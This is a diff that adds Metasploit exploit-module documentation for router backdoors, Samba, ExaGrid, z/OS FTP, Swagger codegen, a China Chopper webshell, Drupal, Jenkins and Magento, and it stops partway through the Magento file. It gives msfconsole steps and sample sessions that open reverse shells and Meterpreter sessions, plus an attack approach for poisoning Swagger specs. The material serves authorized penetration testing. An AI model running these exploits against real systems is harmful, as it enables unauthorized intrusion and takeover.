b/documentation/modules/exploit/linux/misc/netcore_udp_53413_backdoor.md new file mode 100644 index 0000000000..cdea724471 --- /dev/null +++ b/documentation/modules/exploit/linux/misc/netcore_udp_53413_backdoor.md @@ -0,0 +1,94 @@ +### Vulnerable Devices +Trend Micro lists "almost all" models as being vulnerable in August 2014. + +Vulnerable AND Exploitable: + +1. Netcore NI360 second-generation + +Vulnerable, but not Exploitable via this module (details later): + +1. Netis WF2414 firmware V1.4.27001 + +### Lab Emulation +1. Install qemu +2. Download and install mipsel. Please read the [tutorial](https://people.debian.org/%7Eaurel32/qemu/mipsel/README.txt) +3. Starts the mipsel lab + 1. `qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net user,hostfwd=tcp::22222-:22,hostfwd=udp::53413-:53413` +4. Put [vuln_squashfs-root.tar.gz](https://github.com/rapid7/metasploit-framework/files/267284/vuln_squashfs-root.tar.gz) to mipsel lab, extract it. + 1. `scp -P22222 vuln_squashfs-root.tar.gz root@127.0.0.1:/root` + 2. `tar xvf vuln_squashfs-root.tar.gz` +5. Run vuln programs. + 1. `cd nw614 && chroot . /bin/igdmptd` + +## Verification Steps + + 1. Install the emulator/hardware + 2. Start msfconsole + 3. Do: `use exploits/linux/misc/netcore_udp_53413_backdoor` + 4. Do: `set RHOST ` + 5. Do: `check` + 6. Do: `exploit` + 7. You should get a shell. + +## Exploitability + +As previously noted, some modules are vulnerable, but not currently exploitable via Metasploit. +During [testing](https://github.com/rapid7/metasploit-framework/pull/6880#issuecomment-231597626) it was discovered that some modules implement an echo command that does not honor -ne. While it may be possible to still execute a shell, further investigation would need to be conducted. +In these cases, it should be possible to use [other scripts](https://github.com/h00die/MSF-Testing-Scripts/blob/master/netis_backdoor.py) to act as a fake interactive shell. + +## Scenarios + +The following is an example of a vulnerable AND EXPLOITABLE router. + +``` +use exploits/linux/misc/netcore_udp_53413_backdoor +msf exploit(netcore_udp_53413_backdoor) > set RHOST 192.168.1.1 +RHOST => 192.168.1.1 +msf exploit(netcore_udp_53413_backdoor) > check +[+] The target is vulnerable. +msf exploit(netcore_udp_53413_backdoor) > run + +[*] Started reverse TCP handler on 192.168.1.2:4444 +[*] Exploiting... +[*] Command Stager progress - 12.54% done (196/1563 bytes) +[*] Command Stager progress - 25.08% done (392/1563 bytes) +[*] Command Stager progress - 37.62% done (588/1563 bytes) +[*] Command Stager progress - 50.16% done (784/1563 bytes) +[*] Command Stager progress - 62.70% done (980/1563 bytes) +[*] Command Stager progress - 75.24% done (1176/1563 bytes) +[*] Command Stager progress - 87.78% done (1372/1563 bytes) +[*] Command Stager progress - 100.00% done (1563/1563 bytes) +[*] Command shell session 1 opened (192.168.1.2:4444 -> 192.168.1.1:54180) at 2016-05-16 00:52:43 -0500 + +pwd +/ +ls +bin +cfg +dev +etc +lib +linuxrc +log +proc +sbin +sh +sys +tmp +usr +var +web +``` + +The following is an example of a vulnerable but NOT expoitable router. + +``` +msf > use exploits/linux/misc/netcore_udp_53413_backdoor +msf exploit(netcore_udp_53413_backdoor) > set rhost 192.168.1.1 +rhost => 192.168.1.1 +msf exploit(netcore_udp_53413_backdoor) > check + +[+] Backdoor Unlocked +[*] Router backdoor triggered, but non-exploitable echo command detected. Not currently exploitable with Metasploit. +[*] The target service is running, but could not be validated. +``` \ No newline at end of file diff --git a/documentation/modules/exploit/linux/samba/lsa_transnames_heap.md b/documentation/modules/exploit/linux/samba/lsa_transnames_heap.md new file mode 100644 index 0000000000..477e7f57c2 --- /dev/null +++ b/documentation/modules/exploit/linux/samba/lsa_transnames_heap.md @@ -0,0 +1,91 @@ +## Vulnerable Application + + Samba 3.0.0 through 3.0.25rc3 are vulnerable to multiple heap overflows. This module targets a heap overflow in the LsarLookupSids RPC call (CVE-2007-2446), causing an overflow in the function lsa\_io\_trans_name(). + + The exploit uses the heap overflow to overwrite a function pointer contained in the metadata of the TALLOC memory allocator, a technique which only works on Samba versions 3.0.21-3.0.24. + +## Verification Steps + + 1. Start msfconsole + 2. Do: `use exploit/linux/samba/lsa_transnames_heap` + 3. Do: `show targets` to see the possible targets + 4. Do: `set target #` + 5. Do: `set rhost` + 6. Do: `exploit` + +## MIPS port + + This module was ported to exploit the MIPS architecture. After creating a suitable debugging environment using qemu to emulate Samba on a desktop PC the following steps were required: + +### MIPS nop generator + + The exploit uses a heap overflow to put a large nop sled in memory to decrease the accuracy needed in the initial redirection of code flow. A nop sled is a large section of contiguous instructions which do nothing. When code flow is redirected to a nop sled it will continue executing the effect-less nops. At the end of the sled the true payload is added and execution will eventually hit this code. + + A nop generator module was created for MIPS by creating a stream of random instructions which create no side-effects e.g. `sll $2, $2, 0` + +### Heap address brute force + + The exploit uses a brute force approach to minimize problems with unpredictability in heap layout. The exploit itself is run multiple times, each time targeting a different point in the heap with the change of execution flow. If all goes correctly, the nop sled will be hit and code execution will follow. If the nop sled is missed, the Samba process is likely to crash, which is generally not a problem as a new instance is forked for each incoming connection. In the event of a crash, a new heap address is chosen and exploitation is attempted again. + + When porting the exploit to a new system, the approximate heap layout must be known in order to suitably attempt exploitation across all of the possible heap locations. As the MIPS port targeted a specific router, the heap layout was determined by examining the ranges identified in _/proc//maps_ + +## Scenarios + + msf > use exploit/linux/samba/lsa\_transnames_heap + msf exploit(lsa\_transnames_heap) > set target 7 + target => 7 + msf exploit(lsa\_transnames_heap) > set rhost 192.168.1.1 + rhost => 192.168.1.1 + msf exploit(lsa\_transnames_heap) > show options + + Module options (exploit/linux/samba/lsa\_transnames_heap): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + RHOST 192.168.1.1 yes The target address + RPORT 445 yes The SMB service port + SMBPIPE LSARPC yes The pipe name to use + + + Exploit target: + + Id Name + -- ---- + 7 Linux Heap Brute Force (OpenWRT MIPS) + + + msf exploit(lsa\_transnames_heap) > exploit + + [*] Started reverse TCP handler on 192.168.1.3:4444 + [*] 192.168.1.1:445 - Creating nop sled.... + [*] 192.168.1.1:445 - Trying to exploit Samba with address 0x55900000... + [*] 192.168.1.1:445 - Connecting to the SMB service... + [*] 192.168.1.1:445 - Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ... + [*] 192.168.1.1:445 - Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ... + [*] 192.168.1.1:445 - Calling the vulnerable function... + [*] 192.168.1.1:445 - Server did not respond, this is expected + [*] 192.168.1.1:445 - Trying to exploit Samba with address 0x5590f000... + [*] 192.168.1.1:445 - Connecting to the SMB service... + [*] 192.168.1.1:445 - Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ... + [*] 192.168.1.1:445 - Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ... + [*] 192.168.1.1:445 - Calling the vulnerable function... + [*] 192.168.1.1:445 - Server did not respond, this is expected + + ...Some intermediate attempts ommitted... + + [*] 192.168.1.1:445 - Trying to exploit Samba with address 0x55996000... + [*] 192.168.1.1:445 - Connecting to the SMB service... + [*] 192.168.1.1:445 - Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ... + [*] 192.168.1.1:445 - Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ... + [*] 192.168.1.1:445 - Calling the vulnerable function... + [*] 192.168.1.1:445 - Server did not respond, this is expected + [*] 192.168.1.1:445 - Trying to exploit Samba with address 0x559a5000... + [*] 192.168.1.1:445 - Connecting to the SMB service... + [*] 192.168.1.1:445 - Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ... + [*] 192.168.1.1:445 - Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ... + [*] 192.168.1.1:445 - Calling the vulnerable function... + [*] Command shell session 1 opened (192.168.1.3:4444 -> 192.168.1.1:4175) at 2016-10-31 14:00:33 +0000 + + uname -a + Linux WNR2200 2.6.15 #1 Mon Dec 23 15:58:24 CST 2013 mips unknown + diff --git a/documentation/modules/exploit/linux/ssh/exagrid_known_privkey.md b/documentation/modules/exploit/linux/ssh/exagrid_known_privkey.md new file mode 100644 index 0000000000..4975242e9f --- /dev/null +++ b/documentation/modules/exploit/linux/ssh/exagrid_known_privkey.md @@ -0,0 +1,27 @@ +## Vulnerable Application + + ExaGrid devices having a firmware before version 4.8 P26 contain a known ssh private key, and root password + +## Verification Steps + + 1. Start msfconsole + 2. Do: `use exploit/linux/ssh/exagrid_known_privkey` + 3. Do: `set rhost ` + 4. Do: `exploit` + 5. You should get a shell. + +## Scenarios + +This is a run against a known vulnerable ExaGrid device. +``` +msf > use exploit/linux/ssh/exagrid_known_privkey +msf exploit(exagrid_known_privkey) > set rhost 1.2.3.4 +rhost => 1.2.3.4 +msf exploit(exagrid_known_privkey) > run + +[+] Successful login +[*] Command shell session 3 opened (140.172.223.184:39269 -> 1.2.3.4:22) at 2016-07-23 10:03:19 -0400 + +ExaGrid diagnostic tools are available in this shell. +02:05:49 up 12 days, 9:12, 0 users, load average: 3.32, 2.88, 9.21 +``` \ No newline at end of file diff --git a/documentation/modules/exploit/mainframe/ftp/ftp_jcl_creds.md b/documentation/modules/exploit/mainframe/ftp/ftp_jcl_creds.md new file mode 100644 index 0000000000..44eab0a3a9 --- /dev/null +++ b/documentation/modules/exploit/mainframe/ftp/ftp_jcl_creds.md @@ -0,0 +1,108 @@ +z/OS JCL authorized FTP-base command execution - hints & tips + +In order to use this exploit, you must have valid credentials on the target z/OS system. The credentials must have access to upload files via FTP. If in doubt, use the check function of the exploit. + +## Vulnerable Application + +This exploit was tested on the ftp daemons for z/OS version 1.13 / 2.1 + +## Payloads + +If the exploit works, any JCL the user has rights to submit can be submitted. + +See cmd type payloads under mainframe with jcl in the payload name, e.g.: + +``` +msf exploit(ftp_jcl_creds) > show payloads + +Compatible Payloads +=================== + + Name Disclosure Date Rank Description + ---- --------------- ---- ----------- + cmd/mainframe/generic_jcl normal Generic JCL Test for Mainframe Exploits + cmd/mainframe/reverse_shell_jcl normal Z/OS (MVS) Command Shell, Reverse TCP +``` + +## Verification Steps + +A successful check of the exploit will look like this: + +``` +msf exploit(ftp_jcl_creds) > set FTPUSER ftptest +FTPUSER => ftptest +msf exploit(ftp_jcl_creds) > set FTPPASS password +FTPPASS => password +msf exploit(ftp_jcl_creds) > set RHOST 10.10.10.1 +RHOST => 10.10.10.1 +msf exploit(ftp_jcl_creds) > info + + Name: FTP JCL Execution + Module: exploit/mainframe/ftp/ftp_jcl_creds + Platform: Mainframe + Privileged: No + License: Metasploit Framework License (BSD) + Rank: Normal + Disclosed: 2013-05-12 + +Available targets: + Id Name + -- ---- + 0 auto + +Basic options: + Name Current Setting Required Description + ---- --------------- -------- ----------- + FTPPASS password no The password for the specified username + FTPUSER ftptest no The username to authenticate as + RHOST 10.10.10.1 yes The target address + RPORT 21 yes The target port + SLEEP 5 no Time to wait before checking if job has completed. + +Payload information: + +Description: + Submit JCL to z/OS via FTP and SITE FILE=JES. This exploit requires + valid credentials on the target system + +msf exploit(ftp_jcl_creds) > check + +[+] 10.10.10.1:21 - Successfully connected to FTP server. +[*] 10.10.10.1:21 - Found IBM z/OS Banner and JES commands accepted +[+] The target is vulnerable. +msf exploit(ftp_jcl_creds) > +``` + + +## Debugging + +If the exploit or check is not working, turn on the VERBOSE and FTPDEBUG settings of the exploit and run. +The output should look similar to the below, on a vulnerable system. + +``` +msf exploit(ftp_jcl_creds) > set FTPDEBUG true +FTPDEBUG => true +msf exploit(ftp_jcl_creds) > set VERBOSE true +VERBOSE => true +msf exploit(ftp_jcl_creds) > check + +[*] 10.10.10.1:21 - Connecting to FTP server 10.10.10.1:21... +[*] 10.10.10.1:21 - FTP recv: "220-FTPD1 IBM FTP CS V2R1 at ZOS.EXAMPLE.COM, 16:52:31 on 2016-04-27.\r\n220 Connection will close if idle for more than 5 minutes.\r\n" +[*] 10.10.10.1:21 - Connected to target FTP server. +[*] 10.10.10.1:21 - Authenticating as ftptest with password password... +[*] 10.10.10.1:21 - FTP send: "USER ftptest\r\n" +[*] 10.10.10.1:21 - FTP recv: "331 Send password please.\r\n" +[*] 10.10.10.1:21 - Sending password... +[*] 10.10.10.1:21 - FTP send: "PASS password\r\n" +[*] 10.10.10.1:21 - FTP recv: "230 FTPTEST is logged on. Working directory is \"FTPTEST.\".\r\n" +[+] 10.10.10.1:21 - Successfully connected to FTP server. +[*] 10.10.10.1:21 - FTP send: "site file=jes\r\n" +[*] 10.10.10.1:21 - FTP recv: "200 SITE command was accepted\r\n" +[*] 10.10.10.1:21 - Found IBM z/OS Banner and JES commands accepted +[+] The target is vulnerable. +msf exploit(ftp_jcl_creds) > +``` + +## Notes + +The job run will leave a joblog for the credentials used. diff --git a/documentation/modules/exploit/multi/fileformat/swagger_param_inject.md b/documentation/modules/exploit/multi/fileformat/swagger_param_inject.md new file mode 100755 index 0000000000..0c429d9310 --- /dev/null +++ b/documentation/modules/exploit/multi/fileformat/swagger_param_inject.md @@ -0,0 +1,119 @@ +The [Swagger CodeGen parameter injector module](../../../../../modules/exploits/multi/fileformat/swagger_param_inject.rb) generates a Swagger JSON file with embedded Metasploit payloads. + +In the typical case, a Swagger document defines an API. Swagger can be automatically consumed to generate client/server code, testing and scaffolding in APIs by companies eager to provide value to the increasing need for scalable API deployment and testing. + +Currently, this module supports 4 languages for delivery: NodeJS, PHP, Ruby, and Java. These are specified by the PAYLOAD set for the exploit module. + + +## Verification Steps + +All exploits assume a bind or reverse-tcp callback handler, with preference on reverse-tcp. + +1. Start msfconsole +2. Start a callback handler listening for a the appropriate payload (e.g.) + +``` +use exploit/multi/handler +set PAYLOAD nodejs/shell_reverse_tcp + +set LHOST 192.168.68.138 +set LPORT 4444 + +run +``` +3. Pick a target + +## Targets + +**NodeJS** + +This attack injects a payload into javascript by terminating a URL path string. + + +``` + +use exploit/multi/fileformat/swagger_param_inject +set TARGET 0 +set PAYLOAD nodejs/shell_reverse_tcp +set INFO_VERSION "1.0.0" +set SWAGGER_HOST "localhost" +run +``` + +**PHP** + +This attack injects a payload into PHP multiline comment area. + + +``` + +use exploit/multi/fileformat/swagger_param_inject +set TARGET 1 +set PAYLOAD php/meterpreter/reverse_tcp +set SWAGGER_HOST "localhost" +run +``` + +**ruby** + +This attack injects a payload into ruby multiline comment area. + + +``` + +use exploit/multi/fileformat/swagger_param_inject +set TARGET 3 +set PAYLOAD ruby/shell_reverse_tcp +set SWAGGER_HOST "localhost" +run +``` + +**Java** + +This attack injects a payload into Java by terminating a URL path string. + + +``` + +use exploit/multi/fileformat/swagger_param_inject +set TARGET 2 +set PAYLOAD java/jsp_shell_reverse_tcp +set SWAGGER_HOST "localhost" +run +``` + +## Quick Test + +Use the online [editor.swagger.io](http://editor.swagger.io) to upload your swagger document, and generate pre-built code bases from the document. The swagger editor leverages [generator.swagger.io](http://generator.swagger.io) to build these clients & servers automatically from the document, and published downloadable artifacts of these code bases. + + +## Scenarios + +Effective against services with either these dependencies + +* [swagger-codegen](https://github.com/swagger-api/swagger-codegen) + * public API [generator.swagger.io](http://generator.swagger.io/) + * public docker container [swagger-generator/](https://hub.docker.com/r/swaggerapi/swagger-generator/) +* [swagger-test-templates](https://github.com/apigee-127/swagger-test-templates) + +**Possible Attack approach.** + +1. Research the target environment and component dependencies. +2. Setup appropriate payload callback listener. +3. generate the appropriate swagger document with associated MS payload (see above for examples) + + +**Against a webservice (2nd order attack / blind code-gen)** + +*Who knows what insecurely configured code-gen Docker containers hosted in data compute or API broker cluster could do if given the chance...* + +4. Feed the document to the service in service appropriate submission of Swagger documents. This is most often accoplished by defining a Mock, Test or Pass-Thru service automatically constructed by the swagger document definition. +5. Wait for callback handler event. + +**Against a code repository or public hosting of spec** + +*People and Robots trust swagger to build clients, servers, mocks, and more. Publicly hosted specs should be verified as to not corrupt automatic code generation.* + +4. Feed the document to the service in service appropriate submission of Swagger documents. This is most often accoplished by defining a Mock, Test or Pass-Thru service automatically constructed by the swagger document definition. +5. Wait for callback handler event. + diff --git a/documentation/modules/exploit/multi/http/caidao_php_backdoor_exec.md b/documentation/modules/exploit/multi/http/caidao_php_backdoor_exec.md new file mode 100644 index 0000000000..12ffb11d5e --- /dev/null +++ b/documentation/modules/exploit/multi/http/caidao_php_backdoor_exec.md @@ -0,0 +1,44 @@ +China Chopper Caidao PHP Backdoor or simply [Chinese Caidao](https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html) is a webshell manager coded in PHP. + +## Vulnerable Application + +Here is the [PHP code](https://github.com/rapid7/metasploit-framework/files/430643/caidao.zip) of the backdoor that you can use and save it as caidao.php. + +## Verification Steps + + 1. Install the application + 2. Start msfconsole + 3. Do: `use exploit/multi/http/caidao_php_backdoor_exec` + 4. Do: `set rport port` + 5. Do: `set rhost ip` + 6. Do: `check` +``` +[+] 192.168.1.103:80 - The target is vulnerable. +``` + 8. Do: `exploit` + 9. You should get a shell. + +## Options + + **TARGETURI** + + TARGETURI by default is `/caidao.php`, which is the common filename of the backdoor. + + **PASSWORD** + + PASSWORD by default is `chopper`, which is the password of the backdoor. + +## Demonstration + +``` +msf exploit(caidao_php_backdoor_exec) > exploit + +[*] Started reverse handler on 192.168.1.108:4444 +[*] Sending stage (33068 bytes) to 192.168.1.103 +[*] Meterpreter session 2 opened (192.168.1.108:4444 -> 192.168.1.103:42349) at 2015-11-02 09:05:54 +0000 + +meterpreter > sysinfo +Computer : kali +OS : Linux kali 3.14-kali1-686-pae #1 SMP Debian 3.14.5-1kali1 (2014-06-07) i686 +Meterpreter : php/php +``` diff --git a/documentation/modules/exploit/multi/http/drupal_drupageddon.md b/documentation/modules/exploit/multi/http/drupal_drupageddon.md new file mode 100644 index 0000000000..c85eee0867 --- /dev/null +++ b/documentation/modules/exploit/multi/http/drupal_drupageddon.md @@ -0,0 +1,57 @@ +## Vulnerable Application + + Drupal 7.31 official [download](https://ftp.drupal.org/files/projects/drupal-7.31.tar.gz) + +## Verification Steps + + 1. Install the application + 2. Start msfconsole + 3. Do: `use exploit/multi/http/drupal_drupageddon` + 4. Do: `set rhost ` + 5. Do: `run` + 6. You should get a shell. + +## Scenarios + + This is a run against a Drupal 7.31 linux box. + + ``` +msf > use exploit/multi/http/drupal_drupageddon +msf exploit(drupal_drupageddon) +msf exploit(drupal_drupageddon) > set rhost 1.1.1.1 +rhost => 1.1.1.1 +msf exploit(drupal_drupageddon) > set verbose true +verbose => true +msf exploit(drupal_drupageddon) > exploit + +[*] Started reverse TCP handler on 2.2.2.2:4444 +[*] Testing page +[*] form_build_id: form-a1VaaaEaa0lUvL79wIAfdQEaaJRw8P7a1aWGXElI_Go +[*] form_token: +[*] password hash: $P\$8zAAApjTciVA2qz7HdAA0UjAAwUft00 +[*] Creating new user AaCaUlLaPR:AAgeAAAAjA +[*] Logging in as AaCaUlLaPR:AAgeAAAAjA +[*] cookie: SESS911797186fac11111d08b1111a15db55=aaSfinhC0AAAAbzhAoO3bBaaOerRrvpn3cL0rA77Dhg; +[*] Trying to parse enabled modules +[*] form_build_id: form-YZljDkG8n5AAaAaAaaaYGLaP8MIfdif5VfwjQMMxdN0 +[*] form_token: Bj92oAaAaWRwqyAAAySWQpeUI03aA9wfkAozXsk_t_E +[*] Enabling the PHP filter module +[*] Setting permissions for PHP filter module +[*] form_build_id: form-1Z1pAg11amM-1jHALgm1AAAAA1JdwAAA1qXnSTZahPA +[*] form_token: kAA1A1AfqK_PvJQi1AAAAAAAAxyGyLvHemBor1q11Z1 +[*] admin role id: 3 +[*] Getting tokens from create new article page +[*] form_build_id: form-_-leQaaaAAeBXbAaAAaaAAx1IrYSI1qeA2OGf2Ce1vs +[*] form_token: Ib1y8aAaaAAAdapA53kUcfWf7msTRHiDUb_CIKzAAAA +[*] Calling preview page. Exploit should trigger... +[*] Sending stage (33721 bytes) to 1.1.1.1 +[*] Meterpreter session 1 opened (2.2.2.2:4444 -> 1.1.1.1:45388) at 2016-08-25 11:30:41 -0400 + +meterpreter > sysinfo +Computer : drupal +OS : Linux drupal 2.6.32-642.3.1.el6.x86_64 #1 SMP Sun Jun 26 18:16:44 EDT 2016 x86_64 +Meterpreter : php/linux + +meterpreter > getuid +Server username: apache (48) + ``` \ No newline at end of file diff --git a/documentation/modules/exploit/multi/http/jenkins_script_console.md b/documentation/modules/exploit/multi/http/jenkins_script_console.md new file mode 100644 index 0000000000..e09118e7d6 --- /dev/null +++ b/documentation/modules/exploit/multi/http/jenkins_script_console.md @@ -0,0 +1,130 @@ +## Vulnerable Application + + Jenkins can be downloaded from [jenkins.io](https://jenkins.io/) where + binaries are available for a variety of operating systems. Both LTS and weekly + builds are available. + + Default settings have the script console enabled and require a valid user + account in order to access it. A known account can be used with this module by + setting the `USERNAME` and `PASSWORD` options. + +## Verification Steps + + Example steps in this format: + + 1. Install the application + 1. Start msfconsole + 1. Do: ```use exploit/multi/http/jenkins_script_console``` + 1. Do: ```set RHOST [target host]``` + 1. Do: ```set TARGET [target id]``` + 1. Do: ```exploit``` + 1. You should get a shell. + +## Options + + **TARGETURI** + + The path to the target instance of Jenkins. + + **USERNAME** + + A username to an account that has access to the script console. This is only + necessary if the Jenkins instance has been configured to require + authentication. + + **PASSWORD** + + A password to an account that has access to the script console. This is only + necessary if the Jenkins instance has been configured to require + authentication. + +## Scenarios + + Example usage against a Windows 7 SP1 x64 bit target running Jenkins 2.19.1. + + ``` + msf > use exploit/multi/http/jenkins_script_console + msf exploit(jenkins_script_console) > set TARGETURI / + TARGETURI => / + msf exploit(jenkins_script_console) > set USERNAME steiner + USERNAME => steiner + msf exploit(jenkins_script_console) > set PASSWORD I<3msf! + PASSWORD => I<3msf! + msf exploit(jenkins_script_console) > set RHOST 192.168.254.126 + RHOST => 192.168.254.126 + msf exploit(jenkins_script_console) > set RPORT 8080 + RPORT => 8080 + msf exploit(jenkins_script_console) > set PAYLOAD windows/meterpreter/reverse_tcp + PAYLOAD => windows/meterpreter/reverse_tcp + msf exploit(jenkins_script_console) > set LHOST 192.168.254.132 + LHOST => 192.168.254.132 + msf exploit(jenkins_script_console) > exploit + + [*] [2016.10.29-18:43:07] Started reverse TCP handler on 192.168.254.132:4444 + [*] [2016.10.29-18:43:07] Checking access to the script console + [*] [2016.10.29-18:43:07] Logging in... + [*] [2016.10.29-18:43:07] Using CSRF token: '9623d245b9d60b5ceda72e2d3613431c' (Jenkins-Crumb style) + [*] [2016.10.29-18:43:07] 192.168.254.126:8080 - Sending command stager... + [*] [2016.10.29-18:43:08] Command Stager progress - 2.06% done (2048/99626 bytes) + [*] [2016.10.29-18:43:08] Command Stager progress - 4.11% done (4096/99626 bytes) + [*] [2016.10.29-18:43:08] Command Stager progress - 6.17% done (6144/99626 bytes) + [*] [2016.10.29-18:43:09] Command Stager progress - 8.22% done (8192/99626 bytes) + [*] [2016.10.29-18:43:09] Command Stager progress - 10.28% done (10240/99626 bytes) + [*] [2016.10.29-18:43:09] Command Stager progress - 12.33% done (12288/99626 bytes) + [*] [2016.10.29-18:43:10] Command Stager progress - 14.39% done (14336/99626 bytes) + [*] [2016.10.29-18:43:10] Command Stager progress - 16.45% done (16384/99626 bytes) + [*] [2016.10.29-18:43:10] Command Stager progress - 18.50% done (18432/99626 bytes) + [*] [2016.10.29-18:43:11] Command Stager progress - 20.56% done (20480/99626 bytes) + [*] [2016.10.29-18:43:11] Command Stager progress - 22.61% done (22528/99626 bytes) + [*] [2016.10.29-18:43:11] Command Stager progress - 24.67% done (24576/99626 bytes) + [*] [2016.10.29-18:43:12] Command Stager progress - 26.72% done (26624/99626 bytes) + [*] [2016.10.29-18:43:12] Command Stager progress - 28.78% done (28672/99626 bytes) + [*] [2016.10.29-18:43:12] Command Stager progress - 30.84% done (30720/99626 bytes) + [*] [2016.10.29-18:43:13] Command Stager progress - 32.89% done (32768/99626 bytes) + [*] [2016.10.29-18:43:13] Command Stager progress - 34.95% done (34816/99626 bytes) + [*] [2016.10.29-18:43:13] Command Stager progress - 37.00% done (36864/99626 bytes) + [*] [2016.10.29-18:43:14] Command Stager progress - 39.06% done (38912/99626 bytes) + [*] [2016.10.29-18:43:14] Command Stager progress - 41.11% done (40960/99626 bytes) + [*] [2016.10.29-18:43:14] Command Stager progress - 43.17% done (43008/99626 bytes) + [*] [2016.10.29-18:43:15] Command Stager progress - 45.23% done (45056/99626 bytes) + [*] [2016.10.29-18:43:15] Command Stager progress - 47.28% done (47104/99626 bytes) + [*] [2016.10.29-18:43:15] Command Stager progress - 49.34% done (49152/99626 bytes) + [*] [2016.10.29-18:43:16] Command Stager progress - 51.39% done (51200/99626 bytes) + [*] [2016.10.29-18:43:16] Command Stager progress - 53.45% done (53248/99626 bytes) + [*] [2016.10.29-18:43:17] Command Stager progress - 55.50% done (55296/99626 bytes) + [*] [2016.10.29-18:43:17] Command Stager progress - 57.56% done (57344/99626 bytes) + [*] [2016.10.29-18:43:17] Command Stager progress - 59.61% done (59392/99626 bytes) + [*] [2016.10.29-18:43:18] Command Stager progress - 61.67% done (61440/99626 bytes) + [*] [2016.10.29-18:43:18] Command Stager progress - 63.73% done (63488/99626 bytes) + [*] [2016.10.29-18:43:18] Command Stager progress - 65.78% done (65536/99626 bytes) + [*] [2016.10.29-18:43:19] Command Stager progress - 67.84% done (67584/99626 bytes) + [*] [2016.10.29-18:43:19] Command Stager progress - 69.89% done (69632/99626 bytes) + [*] [2016.10.29-18:43:19] Command Stager progress - 71.95% done (71680/99626 bytes) + [*] [2016.10.29-18:43:20] Command Stager progress - 74.00% done (73728/99626 bytes) + [*] [2016.10.29-18:43:20] Command Stager progress - 76.06% done (75776/99626 bytes) + [*] [2016.10.29-18:43:20] Command Stager progress - 78.12% done (77824/99626 bytes) + [*] [2016.10.29-18:43:21] Command Stager progress - 80.17% done (79872/99626 bytes) + [*] [2016.10.29-18:43:21] Command Stager progress - 82.23% done (81920/99626 bytes) + [*] [2016.10.29-18:43:21] Command Stager progress - 84.28% done (83968/99626 bytes) + [*] [2016.10.29-18:43:22] Command Stager progress - 86.34% done (86016/99626 bytes) + [*] [2016.10.29-18:43:22] Command Stager progress - 88.39% done (88064/99626 bytes) + [*] [2016.10.29-18:43:22] Command Stager progress - 90.45% done (90112/99626 bytes) + [*] [2016.10.29-18:43:23] Command Stager progress - 92.51% done (92160/99626 bytes) + [*] [2016.10.29-18:43:23] Command Stager progress - 94.56% done (94208/99626 bytes) + [*] [2016.10.29-18:43:23] Command Stager progress - 96.62% done (96256/99626 bytes) + [*] [2016.10.29-18:43:24] Command Stager progress - 98.67% done (98304/99626 bytes) + [*] [2016.10.29-18:43:24] Sending stage (957999 bytes) to 192.168.254.126 + [*] [2016.10.29-18:43:24] Command Stager progress - 100.00% done (99626/99626 bytes) + [*] Meterpreter session 1 opened (192.168.254.132:4444 -> 192.168.254.126:49258) at 2016-10-29 18:43:26 -0400 + + meterpreter > sysinfo + Computer : PWNME-PC + OS : Windows 7 (Build 7601, Service Pack 1). + Architecture : x64 (Current Process is WOW64) + System Language : en_US + Domain : WORKGROUP + Logged On Users : 2 + Meterpreter : x86/win32 + meterpreter > + + ``` diff --git a/documentation/modules/exploit/multi/http/magento_unserialize.md b/documentation/modules/exploit/multi/http/magento_unserialize.md new file mode 100644 index 0000000000..b77dd9d398 --- /dev/null +++ b/documentation/modules/exploit/multi/http/magento_unserialize.md @@ -0,0 +1,105 @@ +Magento is a popular open-source e-commerce platform written in PHP. An unserialization +vulnerability exists in the product that allows an unauthenticated user to gain arbitrary +code execution. + + +## Vulnerable Application + +Magento Community and Enterprise editions before 2.0.6 are affected. The magento_unserialize module +was specifically tested against version 2.0.6, on Ubuntu 14.04 and Debian. + +For testing purposes, you can download the vulnerable applications [here](https://www.exploit-db.com/apps/d34a83e80f927d7336cc8ef37a9867f4-magento2-2.0.5.tar.gz). + +## Verification Steps + +To set up a vulnerable version of Magento, please follow these steps. This is specific to +Ubuntu 14, and assumes you are installing Magento under /var/www/html/. + +1. Set up a [Ubuntu](http://www.ubuntu.com/) box. +2. Open a terminal, and enter: ```sudo apt-get install apache2``` +3. Enter: ```sudo apt-get install php5``` +4. Enter: ```sudo a2enmod rewrite``` +5. Add the following content to /etc/apache2/sites-enabled/000-default.conf, inside the virtual block: + +``` + + Options Indexes FollowSymLinks MultiViews + AllowOverride All + Order allow,deny + allow from all + +``` + +6. Download the [vulnerable Magento app](https://www.exploit-db.com/apps/d34a83e80f927d7336cc8ef37a9867f4-magento2-2.0.5.tar.gz) +7. Extract the compressed file: ```tar -xf magento2-2.0.5.tar.gz``` +8. Move the files and directories of magento2-2.0.5 to /var/www/html/ (make sure .htaccess is copied too) +9. In terminal, enter: ```sudo chmod 644 /var/www/html/.htaccess``` +10. Enter: ```sudo service apache2 restart``` +11. Enter: ```sudo apt-get install mysql-server-5.6```. And follow the installation instructions of MySQL. +12. Enter: ```sudo apt-get install php5-mysql``` +13. Enter: ```sudo apt-get install php5-mcrypt``` +14. Enter: ```sudo php5enmod mcrypt``` +15. Enter: ```sudo apt-get install php5-xsl php5-curl php5-intl``` +16. Enter: ```sudo service apache2 restart``` +17. cd to /var/www/html, enter: ```sudo mkdir tmp```, and cd to tmp +18. In tmp, do: ```curl -sS https://getcomposer.org/installer | php``` +19. Enter: ```sudo mv composer /usr/local/bin/composer``` +20. In /var/www/html, do: ```composer install``` +21. You will be asked for a username (public key) and password (private key). You can register + for one here: 